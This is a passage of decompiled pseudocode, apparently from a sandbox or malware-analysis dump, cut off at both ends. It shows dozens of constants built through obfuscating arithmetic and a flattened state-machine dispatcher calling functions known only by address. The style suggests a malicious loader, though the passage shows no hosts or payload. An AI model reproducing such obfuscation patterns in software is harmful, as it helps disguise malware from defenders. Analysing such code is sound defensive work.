				signed int _v484;
				signed int _v488;
				signed int _v492;
				signed int _v496;
				signed int _v500;
				signed int _v504;
				signed int _v508;
				signed int _v512;
				signed int _v516;
				signed int _v520;
				signed int _v524;
				signed int _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				signed int _v564;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				signed int _t1157;
				signed int _t1161;
				signed int _t1165;
				signed int _t1167;
				signed int _t1197;
				void* _t1204;
				signed int _t1240;
				signed int _t1242;
				signed int _t1243;
				signed int _t1244;
				signed int _t1245;
				signed int _t1246;
				signed int _t1247;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1254;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed int _t1259;
				signed int _t1260;
				signed int _t1261;
				signed int _t1262;
				signed int _t1263;
				signed int _t1264;
				signed int _t1278;
				signed int _t1349;
				signed int _t1350;
				signed int _t1353;
				signed int _t1369;
				signed int _t1381;
				void* _t1383;
				void* _t1388;
				void* _t1389;
				void* _t1390;

				_t1383 = (_t1381 & 0xfffffff8) - 0x250;
				_v132 = 0x2e436f;
				_v132 = _v132 | 0xf460f017;
				_v132 = _v132 ^ 0xf46ef27d;
				_v196 = 0x7e1c2e;
				_v196 = _v196 ^ 0x6e4e5938;
				_v196 = _v196 ^ 0x6e304516;
				_v244 = 0x3317d;
				_v244 = _v244 >> 1;
				_v244 = _v244 ^ 0x000198be;
				_v544 = 0x71e6e4;
				_v544 = _v544 ^ 0x19d035bd;
				_v544 = _v544 ^ 0xde3e36e6;
				_v544 = _v544 ^ 0xd4549da3;
				_v544 = _v544 ^ 0x13ca6661;
				_v252 = 0x207f28;
				_v252 = _v252 ^ 0x96f23610;
				_v252 = _v252 ^ 0x96d56cb8;
				_v284 = 0xb4eb71;
				_v284 = _v284 | 0x642f1f72;
				_v284 = _v284 ^ 0x64bf3882;
				_v300 = 0x36db85;
				_v300 = _v300 | 0x0bc6f940;
				_v300 = _v300 + 0x9fae;
				_v300 = _v300 ^ 0x0bfad767;
				_v208 = 0xa45bd2;
				_v208 = _v208 << 8;
				_v208 = _v208 ^ 0xa452a46b;
				_v336 = 0x6cd8ed;
				_v336 = _v336 * 0x36;
				_t1353 = 0xaa07b46;
				_t1349 = 0x36;
				_v336 = _v336 / _t1349;
				_v336 = _v336 ^ 0x006d1188;
				_v524 = 0xd565be;
				_t1242 = 0x7c;
				_v524 = _v524 / _t1242;
				_v524 = _v524 + 0xd960;
				_v524 = _v524 << 5;
				_v524 = _v524 ^ 0x00539a7f;
				_v528 = 0xe16fa2;
				_v528 = _v528 << 3;
				_v528 = _v528 + 0x4317;
				_v528 = _v528 + 0x3040;
				_v528 = _v528 ^ 0x0704c1ec;
				_v372 = 0x8fac1c;
				_v372 = _v372 ^ 0x1e276069;
				_v372 = _v372 * 0x3f;
				_v372 = _v372 ^ 0x8b8c4a83;
				_v272 = 0x48fc0a;
				_v272 = _v272 << 4;
				_v272 = _v272 ^ 0x048c9edd;
				_v516 = 0x93770a;
				_v516 = _v516 >> 9;
				_v516 = _v516 | 0x4252a838;
				_v516 = _v516 + 0x705d;
				_v516 = _v516 ^ 0x4251f9f6;
				_v512 = 0x41b3f;
				_v512 = _v512 >> 7;
				_v512 = _v512 | 0x35af6ec2;
				_v512 = _v512 * 0x53;
				_v512 = _v512 ^ 0x67eb8694;
				_v212 = 0xb915;
				_v212 = _v212 ^ 0x948b0e88;
				_v212 = _v212 ^ 0x9486ad8a;
				_v356 = 0x63bb5f;
				_v356 = _v356 ^ 0x436200ea;
				_t1243 = 0x7e;
				_v356 = _v356 * 0x76;
				_v356 = _v356 ^ 0xe2c785b3;
				_v324 = 0x6c06d7;
				_v324 = _v324 >> 0xa;
				_v324 = _v324 / _t1243;
				_v324 = _v324 ^ 0x000b64e8;
				_v308 = 0xca3f81;
				_v308 = _v308 >> 2;
				_v308 = _v308 >> 0xc;
				_v308 = _v308 ^ 0x00092fdc;
				_v360 = 0xbfd72b;
				_v360 = _v360 ^ 0xff3a0c39;
				_v360 = _v360 << 9;
				_v360 = _v360 ^ 0x0bb3b832;
				_v240 = 0x9d6f80;
				_v240 = _v240 / _t1349;
				_v240 = _v240 ^ 0x000c7437;
				_v588 = 0x113401;
				_t1244 = 0x61;
				_v588 = _v588 * 0x24;
				_v588 = _v588 / _t1244;
				_v588 = _v588 ^ 0x0003e589;
				_v384 = 0x4b8860;
				_v384 = _v384 << 0xf;
				_v384 = _v384 << 1;
				_v384 = _v384 ^ 0x8868048a;
				_v264 = 0x29020a;
				_t1245 = 0x11;
				_v264 = _v264 * 0x21;
				_v264 = _v264 ^ 0x0542f97f;
				_v468 = 0xb6b72b;
				_v468 = _v468 + 0xffff5632;
				_v468 = _v468 >> 0xb;
				_v468 = _v468 + 0x2f7e;
				_v468 = _v468 ^ 0x00028262;
				_v460 = 0x54f239;
				_v460 = _v460 << 6;
				_v460 = _v460 + 0xfffffbb9;
				_v460 = _v460 ^ 0x82d4ff03;
				_v460 = _v460 ^ 0x97e5d5b5;
				_v140 = 0x985261;
				_v140 = _v140 + 0xffff0c59;
				_v140 = _v140 ^ 0x00972a82;
				_v500 = 0x518a2c;
				_v500 = _v500 / _t1245;
				_v500 = _v500 + 0x702a;
				_v500 = _v500 << 0xd;
				_v500 = _v500 ^ 0xa785771e;
				_v368 = 0x521baf;
				_v368 = _v368 * 0x25;
				_v368 = _v368 | 0x64d0e33c;
				_v368 = _v368 ^ 0x6fdd3e6d;
				_v436 = 0x35d7cb;
				_v436 = _v436 * 0x6d;
				_v436 = _v436 | 0xabb542e6;
				_v436 = _v436 + 0xd249;
				_v436 = _v436 ^ 0xbff7fb1b;
				_v292 = 0xcdcade;
				_v292 = _v292 | 0x43b684fa;
				_v292 = _v292 ^ 0x43f66b05;
				_v160 = 0x58e408;
				_v160 = _v160 | 0x368c4477;
				_v160 = _v160 ^ 0x36d34ac8;
				_v304 = 0x7c84d1;
				_t1246 = 0x47;
				_v304 = _v304 / _t1246;
				_v304 = _v304 + 0xffff9796;
				_v304 = _v304 ^ 0x000bb16e;
				_v216 = 0xc36bed;
				_v216 = _v216 + 0xd97;
				_v216 = _v216 ^ 0x00c2e969;
				_v476 = 0xa7b7c7;
				_v476 = _v476 << 6;
				_v476 = _v476 + 0x6c6c;
				_v476 = _v476 >> 5;
				_v476 = _v476 ^ 0x0140bd2d;
				_v520 = 0xf3ea92;
				_v520 = _v520 + 0xffff847d;
				_t1247 = 0x3c;
				_v520 = _v520 * 0x69;
				_v520 = _v520 / _t1247;
				_v520 = _v520 ^ 0x01a2bdb3;
				_v440 = 0x637ee1;
				_v440 = _v440 + 0xffff9b2b;
				_v440 = _v440 ^ 0xed5600a5;
				_v440 = _v440 + 0xbbcd;
				_v440 = _v440 ^ 0xed38855c;
				_v316 = 0xd359ff;
				_t1248 = 0x12;
				_v316 = _v316 / _t1248;
				_t1249 = 0x2c;
				_v316 = _v316 / _t1249;
				_v316 = _v316 ^ 0x000bd707;
				_v404 = 0xe9d10;
				_v404 = _v404 + 0x8531;
				_v404 = _v404 << 7;
				_v404 = _v404 ^ 0x0799698e;
				_v568 = 0x4b0a43;
				_t313 =  &_v568; // 0x4b0a43
				_t1250 = 0x2f;
				_v568 =  *_t313 * 0x38;
				_v568 = _v568 + 0xffffdc5e;
				_v568 = _v568 ^ 0x149a11d4;
				_v568 = _v568 ^ 0x04f7f7c0;
				_v268 = 0xc0e06b;
				_v268 = _v268 / _t1250;
				_v268 = _v268 ^ 0x000b86b0;
				_v496 = 0xf422ea;
				_v496 = _v496 + 0xfffff2eb;
				_v496 = _v496 >> 7;
				_v496 = _v496 + 0xa1f8;
				_v496 = _v496 ^ 0x0008b42f;
				_v188 = 0x553f6c;
				_v188 = _v188 | 0x678376e9;
				_v188 = _v188 ^ 0x67d882bd;
				_v396 = 0x923886;
				_t1251 = 5;
				_v396 = _v396 / _t1251;
				_v396 = _v396 + 0x9c46;
				_v396 = _v396 ^ 0x00120a3e;
				_v560 = 0x9fec96;
				_v560 = _v560 | 0x622a8444;
				_v560 = _v560 ^ 0x99c5ba67;
				_v560 = _v560 >> 0xd;
				_v560 = _v560 ^ 0x0000fc9d;
				_v128 = 0xf88125;
				_v128 = _v128 << 0x10;
				_v128 = _v128 ^ 0x812bf008;
				_v552 = 0xcb4f6a;
				_v552 = _v552 / _t1349;
				_v552 = _v552 + 0xffff6d2e;
				_v552 = _v552 | 0x89619965;
				_v552 = _v552 ^ 0x8962c3cc;
				_v432 = 0xf978ba;
				_v432 = _v432 + 0xffffa816;
				_v432 = _v432 ^ 0x2094ddcc;
				_v432 = _v432 >> 0xa;
				_v432 = _v432 ^ 0x0007c0c7;
				_v488 = 0xcf9f95;
				_v488 = _v488 ^ 0xbf36e5e7;
				_t1252 = 0x58;
				_v488 = _v488 * 0x2a;
				_v488 = _v488 + 0xffff2176;
				_v488 = _v488 ^ 0x7ee684ba;
				_v388 = 0x12fb7d;
				_v388 = _v388 * 0x4d;
				_v388 = _v388 >> 3;
				_v388 = _v388 ^ 0x00bf9b98;
				_v340 = 0x796913;
				_v340 = _v340 + 0xac69;
				_v340 = _v340 * 0x61;
				_v340 = _v340 ^ 0x2e401a56;
				_v328 = 0x91b64e;
				_v328 = _v328 / _t1252;
				_v328 = _v328 ^ 0x35ed1920;
				_v328 = _v328 ^ 0x35e14498;
				_v320 = 0xcfff90;
				_v320 = _v320 + 0x6092;
				_v320 = _v320 + 0xffff7281;
				_v320 = _v320 ^ 0x00c5b6f7;
				_v452 = 0xef9f32;
				_v452 = _v452 | 0xbd38e664;
				_v452 = _v452 + 0xf2b8;
				_v452 = _v452 | 0x10bd091b;
				_v452 = _v452 ^ 0xbeb9595a;
				_v192 = 0x21f349;
				_t1253 = 0x54;
				_v192 = _v192 / _t1253;
				_v192 = _v192 ^ 0x000688f1;
				_v200 = 0xc0b775;
				_v200 = _v200 << 0xb;
				_v200 = _v200 ^ 0x05bf80fb;
				_v376 = 0x690522;
				_v376 = _v376 + 0xffffeeed;
				_v376 = _v376 ^ 0x86395638;
				_v376 = _v376 ^ 0x865332bb;
				_v248 = 0x6656fd;
				_v248 = _v248 | 0x17cebcd9;
				_v248 = _v248 ^ 0x17e231ad;
				_v256 = 0x5a882f;
				_v256 = _v256 + 0xffff43e8;
				_v256 = _v256 ^ 0x005beeea;
				_v176 = 0x5696cd;
				_v176 = _v176 >> 0xb;
				_v176 = _v176 ^ 0x000c4c16;
				_v456 = 0xda330b;
				_v456 = _v456 + 0xffff846d;
				_v456 = _v456 + 0x61bd;
				_v456 = _v456 | 0x00ba29dc;
				_v456 = _v456 ^ 0x00ff632b;
				_v380 = 0xd1e147;
				_v380 = _v380 >> 6;
				_v380 = _v380 << 0xd;
				_v380 = _v380 ^ 0x68f0e02b;
				_v180 = 0x3ff1d9;
				_t1254 = 0x33;
				_v180 = _v180 / _t1254;
				_v180 = _v180 ^ 0x00023228;
				_v344 = 0xf4edb4;
				_v344 = _v344 << 0xd;
				_v344 = _v344 | 0x97e14590;
				_v344 = _v344 ^ 0x9ff7325a;
				_v484 = 0x6c4a81;
				_v484 = _v484 | 0xfdca8d1b;
				_v484 = _v484 >> 0x10;
				_v484 = _v484 << 0xf;
				_v484 = _v484 ^ 0x7effa9ca;
				_v596 = 0xdabff7;
				_v596 = _v596 + 0x73c4;
				_v596 = _v596 << 7;
				_v596 = _v596 | 0xfa5794d9;
				_v596 = _v596 ^ 0xffd249eb;
				_v424 = 0x540103;
				_v424 = _v424 ^ 0xa382819c;
				_v424 = _v424 | 0xb091fb68;
				_v424 = _v424 ^ 0xb3d56d76;
				_v156 = 0x8c7fe9;
				_v156 = _v156 + 0xffff3974;
				_v156 = _v156 ^ 0x008ef74c;
				_v420 = 0xfd2cd1;
				_v420 = _v420 >> 0xc;
				_v420 = _v420 ^ 0xe3610dc2;
				_v420 = _v420 ^ 0xe3634cc2;
				_v504 = 0xf0e4f4;
				_v504 = _v504 + 0xb6ec;
				_v504 = _v504 ^ 0x32429e81;
				_v504 = _v504 + 0xadf2;
				_v504 = _v504 ^ 0x32bc4899;
				_v276 = 0x5de68b;
				_v276 = _v276 + 0x1902;
				_v276 = _v276 ^ 0x005cfb2b;
				_v464 = 0x5cdad0;
				_v464 = _v464 << 2;
				_v464 = _v464 + 0x27c3;
				_v464 = _v464 ^ 0xfe85190a;
				_v464 = _v464 ^ 0xfff0056f;
				_v576 = 0x5bf2e0;
				_v576 = _v576 << 9;
				_v576 = _v576 + 0x6474;
				_v576 = _v576 << 6;
				_v576 = _v576 ^ 0xf98a1109;
				_v260 = 0xe6f5fe;
				_t1255 = 0x45;
				_v260 = _v260 / _t1255;
				_v260 = _v260 ^ 0x0003b47a;
				_v416 = 0x364d66;
				_v416 = _v416 << 9;
				_v416 = _v416 ^ 0x871fcbcc;
				_v416 = _v416 ^ 0xeb871ae9;
				_v152 = 0xded983;
				_v152 = _v152 + 0x4b0f;
				_v152 = _v152 ^ 0x00df80d2;
				_v448 = 0xc5cd59;
				_v448 = _v448 + 0xffff44a9;
				_v448 = _v448 | 0xe64c83cc;
				_t1256 = 0x74;
				_v448 = _v448 / _t1256;
				_v448 = _v448 ^ 0x01f904de;
				_v592 = 0x675892;
				_v592 = _v592 | 0xbe4f77c4;
				_v592 = _v592 + 0xffffac99;
				_v592 = _v592 ^ 0xb6dae313;
				_v592 = _v592 ^ 0x08b8aa9c;
				_v288 = 0xc30099;
				_v288 = _v288 >> 0x10;
				_v288 = _v288 + 0xe193;
				_v288 = _v288 ^ 0x000c0ea3;
				_v136 = 0xcb6e43;
				_v136 = _v136 ^ 0xb95a6532;
				_v136 = _v136 ^ 0xb99574cc;
				_v204 = 0xfd67d3;
				_v204 = _v204 + 0xbcdb;
				_v204 = _v204 ^ 0x00f4c5c9;
				_v564 = 0x58b287;
				_t1257 = 0x19;
				_v564 = _v564 * 0x70;
				_v564 = _v564 + 0x3be8;
				_v564 = _v564 * 0x25;
				_v564 = _v564 ^ 0x9bd3e329;
				_v148 = 0x1d248b;
				_v148 = _v148 + 0x6f6a;
				_v148 = _v148 ^ 0x00153086;
				_v572 = 0xf52f4c;
				_v572 = _v572 / _t1257;
				_v572 = _v572 + 0xab35;
				_t1258 = 0xc;
				_v572 = _v572 / _t1258;
				_v572 = _v572 ^ 0x00067d12;
				_v580 = 0xf5bae7;
				_v580 = _v580 | 0x5cf7bfbf;
				_v580 = _v580 * 0x7e;
				_v580 = _v580 ^ 0xc1ff09fa;
				_v408 = 0x6a02f0;
				_v408 = _v408 + 0xffff43b7;
				_v408 = _v408 >> 7;
				_v408 = _v408 ^ 0x000eaeb8;
				_v532 = 0xe5ed81;
				_v532 = _v532 >> 0x10;
				_v532 = _v532 >> 8;
				_v532 = _v532 ^ 0x299daec3;
				_v532 = _v532 ^ 0x299c8334;
				_v540 = 0x73bd6d;
				_v540 = _v540 + 0x3999;
				_v540 = _v540 ^ 0x4d3fe297;
				_v540 = _v540 + 0xbeb4;
				_v540 = _v540 ^ 0x4d4b6113;
				_v280 = 0xf78be9;
				_v280 = _v280 + 0xffff2e4a;
				_v280 = _v280 ^ 0x00f6eff7;
				_v168 = 0x4a6296;
				_v168 = _v168 >> 8;
				_v168 = _v168 ^ 0x0006c563;
				_v444 = 0x52befb;
				_v444 = _v444 | 0xfb460347;
				_v444 = _v444 * 0x57;
				_v444 = _v444 << 8;
				_v444 = _v444 ^ 0x7b329ced;
				_v364 = 0x8bf6d0;
				_t1259 = 0x49;
				_v364 = _v364 / _t1259;
				_v364 = _v364 | 0xd55b2da9;
				_v364 = _v364 ^ 0xd551e475;
				_v472 = 0x18acd0;
				_v472 = _v472 + 0xffff7fc7;
				_v472 = _v472 + 0xffff0e44;
				_v472 = _v472 + 0xffff0bff;
				_v472 = _v472 ^ 0x001d017a;
				_v144 = 0x4fd139;
				_v144 = _v144 ^ 0x0d7608f8;
				_v144 = _v144 ^ 0x0d3e01c7;
				_v220 = 0xa1d89d;
				_v220 = _v220 + 0x68ba;
				_v220 = _v220 ^ 0x00a8b60a;
				_v224 = 0xd8ad63;
				_t1260 = 0x39;
				_v224 = _v224 * 0xd;
				_v224 = _v224 ^ 0x0b05e067;
				_v232 = 0x1dd59e;
				_v232 = _v232 + 0xffffb984;
				_v232 = _v232 ^ 0x0014d7c8;
				_v492 = 0x8ee343;
				_v492 = _v492 + 0xfffffdd7;
				_v492 = _v492 * 0x50;
				_v492 = _v492 + 0xffff20fb;
				_v492 = _v492 ^ 0x2ca84503;
				_v352 = 0xb8f26f;
				_v352 = _v352 + 0x7ba8;
				_v352 = _v352 >> 6;
				_v352 = _v352 ^ 0x000b39f4;
				_v536 = 0x43cba6;
				_v536 = _v536 + 0xffff968b;
				_v536 = _v536 + 0xd20d;
				_v536 = _v536 << 1;
				_v536 = _v536 ^ 0x00836c5a;
				_v480 = 0x5e5d26;
				_v480 = _v480 + 0xffff687f;
				_v480 = _v480 ^ 0xddceb38b;
				_v480 = _v480 | 0x4dfd19e7;
				_v480 = _v480 ^ 0xddf7d232;
				_v236 = 0x7bb6bb;
				_v236 = _v236 << 0xa;
				_v236 = _v236 ^ 0xeeda4ae1;
				_v332 = 0xdbd532;
				_v332 = _v332 / _t1260;
				_v332 = _v332 + 0x6f41;
				_v332 = _v332 ^ 0x000f8c93;
				_v172 = 0x169d2;
				_v172 = _v172 << 1;
				_v172 = _v172 ^ 0x000bb064;
				_v228 = 0xc8a619;
				_t1261 = 0x51;
				_v228 = _v228 / _t1261;
				_v228 = _v228 ^ 0x000b224e;
				_v296 = 0xf4bcd8;
				_v296 = _v296 + 0xffffb281;
				_v296 = _v296 + 0xffff612f;
				_v296 = _v296 ^ 0x00ff5067;
				_v428 = 0x3c482c;
				_t832 =  &_v428; // 0x3c482c
				_v428 =  *_t832 * 0x2f;
				_v428 = _v428 + 0xffff6f9d;
				_v428 = _v428 | 0x8da675c7;
				_v428 = _v428 ^ 0x8fb5367e;
				_v164 = 0x73eaaf;
				_t1262 = 0x7b;
				_v164 = _v164 / _t1262;
				_v164 = _v164 ^ 0x013494eb;
				_v508 = 0xaea7a7;
				_v508 = _v508 + 0xffffad05;
				_v508 = _v508 | 0x2fb01782;
				_v508 = _v508 + 0xdf59;
				_v508 = _v508 ^ 0x2fbf1017;
				_v348 = 0x6a0001;
				_v348 = _v348 >> 8;
				_t1263 = 0x1e;
				_t1350 = _v292;
				_t1240 = _v292;
				_v348 = _v348 * 0x56;
				_v348 = _v348 ^ 0x00239c01;
				_v312 = 0x718fb1;
				_v312 = _v312 ^ 0x0a0922bb;
				_v312 = _v312 + 0xffff9da2;
				_v312 = _v312 ^ 0x0a78450c;
				_v184 = 0xbc43da;
				_v184 = _v184 | 0x65dbfe97;
				_v184 = _v184 ^ 0x65ffe09f;
				_v584 = 0x19ebc;
				_v584 = _v584 << 0xd;
				_v584 = _v584 * 0x6e;
				_v584 = _v584 | 0x20e1f71e;
				_v584 = _v584 ^ 0x66f44cbe;
				_v556 = 0x102963;
				_v556 = _v556 << 1;
				_v556 = _v556 + 0xffff27ea;
				_v556 = _v556 >> 8;
				_v556 = _v556 ^ 0x000da4da;
				_v412 = 0x8d39f9;
				_v412 = _v412 ^ 0x304d710d;
				_v412 = _v412 + 0x1676;
				_v412 = _v412 ^ 0x30ceab4a;
				_v548 = 0xb36dd5;
				_v548 = _v548 << 1;
				_v548 = _v548 + 0xffff009c;
				_v548 = _v548 ^ 0xc2df1814;
				_v548 = _v548 ^ 0xc3b43072;
				_v400 = 0x83e780;
				_v400 = _v400 / _t1263;
				_v400 = _v400 + 0xffff5fe0;
				_v400 = _v400 ^ 0x0003b045;
				_v392 = 0xcc2700;
				_v392 = _v392 + 0x6318;
				_t1264 = 0x50;
				_v392 = _v392 / _t1264;
				_v392 = _v392 ^ 0x000264e6;
				goto L1;
				do {
					while(1) {
						L1:
						_t1388 = _t1353 - 0x9625c26;
						if(_t1388 > 0) {
							break;
						}
						if(_t1388 == 0) {
							_t1161 = E029D645F( &_v92, _v596, _v424, _v156, _v420,  &_v108);
							_t1383 = _t1383 + 0x10;
							asm("sbb esi, esi");
							_t1353 = ( ~_t1161 & 0xf38ca8a6) + 0xf16eb84;
							continue;
						}
						_t1389 = _t1353 - 0x5085634;
						if(_t1389 > 0) {
							__eflags = _t1353 - 0x743bbd3;
							if(__eflags > 0) {
								__eflags = _t1353 - 0x7d9812c;
								if(_t1353 == 0x7d9812c) {
									__eflags = E029DE7DA();
									if(__eflags == 0) {
										_t1165 = E029D902C();
										asm("sbb esi, esi");
										_t1353 = ( ~_t1165 & 0xfa09740f) + 0xc68510e;
										continue;
									}
									_t1167 = E029D902C();
									asm("sbb esi, esi");
									_t1369 =  ~_t1167 & 0xfa79cff4;
									L53:
									_t1353 = _t1369 + 0xd96f0c7;
									continue;
								}
								__eflags = _t1353 - 0x810c0bb;
								if(_t1353 == 0x810c0bb) {
									_t1167 = E029C1DF9();
									asm("sbb esi, esi");
									_t1369 =  ~_t1167 & 0xf771656d;
									__eflags = _t1369;
									goto L53;
								}
								__eflags = _t1353 - 0x8d7d650;
								if(_t1353 == 0x8d7d650) {
									_t1167 = E029DC772();
									L114:
									return _t1167;
								}
								__eflags = _t1353 - 0x94a2b75;
								if(_t1353 != 0x94a2b75) {
									goto L109;
								}
								_t1278 = _v364;
								_t1167 = E029CF699(_t1278, _v100, _v472, _v144, _v220);
								_t1383 = _t1383 + 0xc;
								_t1353 = 0xf16eb84;
								continue;
							}
							if(__eflags == 0) {
								_t1167 = _v164;
								_t1353 = 0xc313b49;
								_v76 = _t1167;
								continue;
							}
							__eflags = _t1353 - 0x50ec05a;
							if(_t1353 == 0x50ec05a) {
								_t1167 = E029C2176();
								_t1353 = 0x24c641b;
								continue;
							}
							__eflags = _t1353 - 0x5c746ce;
							if(_t1353 == 0x5c746ce) {
								_t1167 = E029D2DE9(_t1278);
								goto L114;
							}
							__eflags = _t1353 - 0x671c51d;
							if(_t1353 == 0x671c51d) {
								_t1167 = E029E2D4F();
								_t1353 = 0xc68510e;
								continue;
							}
							__eflags = _t1353 - 0x6e9da8a;
							if(_t1353 != 0x6e9da8a) {
								goto L109;
							}
							_t1167 = E029D56A9();
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0xbae568e;
							continue;
						}
						if(_t1389 == 0) {
							_t1167 = E029CB12E(_v436, _v292, _v160, _v304);
							goto L114;
						}
						_t1390 = _t1353 - 0x411ce06;
						if(_t1390 > 0) {
							__eflags = _t1353 - 0x414ffd1;
							if(_t1353 == 0x414ffd1) {
								__eflags = _t1350 - _v244;
								if(_t1350 == _v244) {
									L35:
									_t1353 = _t1240;
									goto L109;
								}
								_t1167 = E029E37B6(_v480, _v236, _v332, _v172, E029DD4AE(), _t1350);
								_t1383 = _t1383 + 0x10;
								__eflags = _t1167 - _v132;
								if(__eflags == 0) {
									_t1167 = E029D6B91();
									goto L35;
								}
								_t1353 = 0x5c746ce;
								continue;
							}
							__eflags = _t1353 - 0x4c34997;
							if(_t1353 == 0x4c34997) {
								_t1167 = E029C635F();
								_v72 = _t1167;
								_t1353 = 0x411ce06;
								continue;
							}
							__eflags = _t1353 - 0x4c43855;
							if(_t1353 == 0x4c43855) {
								_t1167 = E029D3ABE();
								_t1353 = 0xbc300ba;
								continue;
							}
							__eflags = _t1353 - 0x4ea5811;
							if(__eflags != 0) {
								goto L109;
							}
							_t1167 = E029E0BF1(__eflags);
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0x15a9200;
							continue;
						}
						if(_t1390 == 0) {
							_t1167 = E029E27E2();
							_v44 = _t1167;
							_t1353 = 0x743bbd3;
							continue;
						}
						if(_t1353 == 0x15a9200) {
							_t1167 = E029CF022(); // executed
							_t1353 = 0xf17c585;
							continue;
						}
						if(_t1353 == 0x24c641b) {
							_v116 = E029D8518(_v316, _v404, __eflags,  &_v112, _v568, 0x29c1000);
							_v124 = E029D8518(_v268, _v496, __eflags,  &_v120, _v188, 0x29c1060);
							_t1197 = E029C5DC3(_v396,  &_v116, _v560,  &_v124);
							asm("sbb esi, esi");
							_t1353 = ( ~_t1197 & 0x01f8303b) + 0xda639e1;
							E029D2EED(_v128, _v552, _v432, _v124);
							_t1167 = E029D2EED(_v488, _v388, _v340, _v116);
							_t1383 = _t1383 + 0x30;
							goto L109;
						}
						if(_t1353 == 0x2a3942a) {
							_t1167 = E029D4DC5(_v276, _v464, _v348, E029DD4AE(),  &_v108,  &_v100, _v576);
							_t1383 = _t1383 + 0x14;
							asm("sbb esi, esi");
							_t1353 = ( ~_t1167 & 0x000968d2) + 0x2a3942a;
							continue;
						}
						if(_t1353 != 0x2acfcfc) {
							goto L109;
						}
						_t1204 = E029C597D( &_v40, _v260,  &_v100, _v416);
						_pop(_t1278);
						if(_t1204 != 0) {
							_t1167 = _v8;
							__eflags = _t1167 - 8;
							if(__eflags != 0) {
								__eflags = _t1167;
								if(__eflags == 0) {
									L18:
									_t1353 = 0xabc2d6d;
									continue;
								}
								__eflags = _t1167 - 1;
								if(__eflags != 0) {
									L13:
									_t1353 = 0x94a2b75;
									continue;
								}
								goto L18;
							}
							_t1353 = 0x8d7d650;
							continue;
						}
						_push(_t1278);
						_push(_v584);
						_push(_t1278);
						_t1278 = _v412;
						_t1167 = E029D2CCF(_t1278, _t1278);
						_t1383 = _t1383 + 0x10;
						_t1350 = _t1167;
						_t1240 = 0xe75263b;
						goto L13;
					}
					__eflags = _t1353 - 0xc68510e;
					if(__eflags > 0) {
						__eflags = _t1353 - 0xf17c585;
						if(__eflags > 0) {
							__eflags = _t1353 - 0xf2d358e;
							if(_t1353 == 0xf2d358e) {
								_t1157 = E029D902C();
								__eflags = _t1157;
								if(_t1157 == 0) {
									_t1167 = E029C3E3B();
								}
								_t1353 = 0x94a2b75;
								goto L109;
							}
							__eflags = _t1353 - 0xf885e3b;
							if(__eflags == 0) {
								_v92 = E029C7A75();
								_t1353 = 0x4c34997;
								goto L1;
							}
							__eflags = _t1353 - 0xf9e6a1c;
							if(_t1353 != 0xf9e6a1c) {
								goto L109;
							}
							E029C60BA();
							_t1240 = 0xc2716a1;
							_push(_t1278);
							_push(_v312);
							_push(_t1278);
							_t1278 = _v184;
							_t1167 = E029D2CCF(_t1278, _t1278);
							_t1383 = _t1383 + 0x10;
							_t1350 = _t1167;
							L95:
							_t1353 = 0x414ffd1;
							goto L1;
						}
						if(__eflags == 0) {
							_t1167 = E029C8112();
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0xa4cd57e;
							goto L1;
						}
						__eflags = _t1353 - 0xce7cb5b;
						if(_t1353 == 0xce7cb5b) {
							E029D89DA();
							_t1167 = E029D902C();
							asm("sbb esi, esi");
							_t1353 = ( ~_t1167 & 0xf901379b) + 0xbc300ba;
							goto L1;
						}
						__eflags = _t1353 - 0xd96f0c7;
						if(_t1353 == 0xd96f0c7) {
							_t1167 = E029DAEAE();
							_t1353 = 0x50ec05a;
							goto L1;
						}
						__eflags = _t1353 - 0xe75263b;
						if(_t1353 == 0xe75263b) {
							_t1167 = E029D75E9(_v344, _v484,  &_v52);
							_pop(_t1278);
							_t1353 = 0x9625c26;
							goto L1;
						}
						__eflags = _t1353 - 0xf16eb84;
						if(_t1353 != 0xf16eb84) {
							goto L109;
						}
						_t1278 = _v224;
						_t1167 = E029CF699(_t1278, _v108, _v232, _v492, _v352);
						_t1383 = _t1383 + 0xc;
						goto L95;
					}
					if(__eflags == 0) {
						_t1167 = E029DC145();
						_t1353 = 0xb042b16;
						goto L1;
					}
					__eflags = _t1353 - 0xbae568e;
					if(__eflags > 0) {
						__eflags = _t1353 - 0xbc300ba;
						if(_t1353 == 0xbc300ba) {
							_t1167 = E029DCE94();
							_t1353 = 0x5085634;
							goto L1;
						}
						__eflags = _t1353 - 0xc2716a1;
						if(_t1353 == 0xc2716a1) {
							_v68 = E029D5B73();
							_t1167 = E029D4268(_v248, _v256, _t1216);
							_pop(_t1278);
							_v64 = _t1167;
							_t1353 = 0xf885e3b;
							goto L1;
						}
						__eflags = _t1353 - 0xc313b49;
						if(__eflags == 0) {
							_t1167 = _v508;
							_t1353 = 0xe75263b;
							_v88 = _t1167;
							goto L1;
						}
						__eflags = _t1353 - 0xc58f524;
						if(_t1353 != 0xc58f524) {
							goto L109;
						}
						_t1167 = E029C8D59();
						__eflags = _t1167;
						if(__eflags == 0) {
							goto L114;
						}
						_t1353 = 0xce7cb5b;
						goto L1;
					}
					if(__eflags == 0) {
						_t1167 = E029C196D();
						asm("sbb esi, esi");
						_t1353 = ( ~_t1167 & 0x032aa9ea) + 0x7d9812c;
						goto L1;
					}
					__eflags = _t1353 - 0xa4cd57e;
					if(_t1353 == 0xa4cd57e) {
						_t1167 = E029C60BA();
						__eflags = _t1167;
						if(__eflags == 0) {
							goto L114;
						}
						_t1353 = 0x6e9da8a;
						goto L1;
					}
					__eflags = _t1353 - 0xaa07b46;
					if(__eflags == 0) {
						_t1353 = 0x4ea5811;
						goto L1;
					}
					__eflags = _t1353 - 0xabc2d6d;
					if(_t1353 == 0xabc2d6d) {
						_t1167 = E029C39C3(_v136,  &_v32);
						_pop(_t1278);
						__eflags = _t1167;
						if(__eflags == 0) {
							_t1167 = _v8;
							__eflags = _t1167;
							if(_t1167 == 0) {
								_push(_t1278);
								_push(_v556);
								_push(_t1278);
								_t1278 = _v548;
